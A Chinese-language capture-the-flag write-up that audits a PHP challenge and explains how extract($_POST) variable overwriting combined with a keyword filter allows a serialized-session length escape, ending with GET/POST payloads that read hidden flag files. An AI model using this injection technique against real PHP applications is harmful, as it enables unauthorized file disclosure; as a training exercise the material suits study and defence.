[安洵杯 2019]easy_serialize_php
[安洵杯 2019]easy_serialize_php
1.点击source_code
后可查看源码,一步步审计代码。
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
(filter函数是过滤 其中implode函数的作用是:将$filter_arr这个数组合并为一个字符串,并以|分割开来;)所以最终的句子为 preg_replace(/php|flag|php5|php4|f1lg/i,'',$img);
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
extract($_POST)就是将post的内容作为这个函数的参数。
然后就是变量覆盖。如果post传参为_SESSION[flag]=123,那么$_SESSION["user"]和$_SESSION["function"]的值都会被覆盖。
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
如果img_path为空就将guest_img.png
base64加密赋值给$_SESSION['img'],否则就将其本身的值base64加密然后再哈希加密,因此选择将其本身的值放空
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
这个是提示
}else if($function == 'show_image'){
如果传入的f值等于
show_image
执行反序列化(而且有一次base64的解码)
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
2.先看看提示里的phpinfo里有什么 payload:?f=phpinfo
3.应该就是通过最后的反序列化打开这个文件,get:?f=show_image
而后用反序列化逃逸,就是将数组里的名字都替换为空
利用这一点再结合反序列化的特性,少几个就就可以将后面的往前面移来补全
payload:_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
ZDBnM19mMWFnLnBocA==是d0g3_f1ag.php进行base64后的值
这段传入后序列化的值为:"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}" ;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
因为preg_replace
会将里面的phpflag转化为空
所以就变成了:"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}" ;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
因为s:7:""
是不符合的,因此就会往后寻找 s:7:"(";s:48:)"括号里面刚刚好有7位,因此键值7对应的就是";s:48:,这样就符合了
俩个大括号,但是前面的会被闭合,因此第一个大括号右边的值都不用管了,不影响。
传参后发现啥也没有,查看源码发现提示
那就把什么的base64编码改成提示文件/d0g3_fllllllag的编码
payload:
get: ?f=show_image
post : _SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}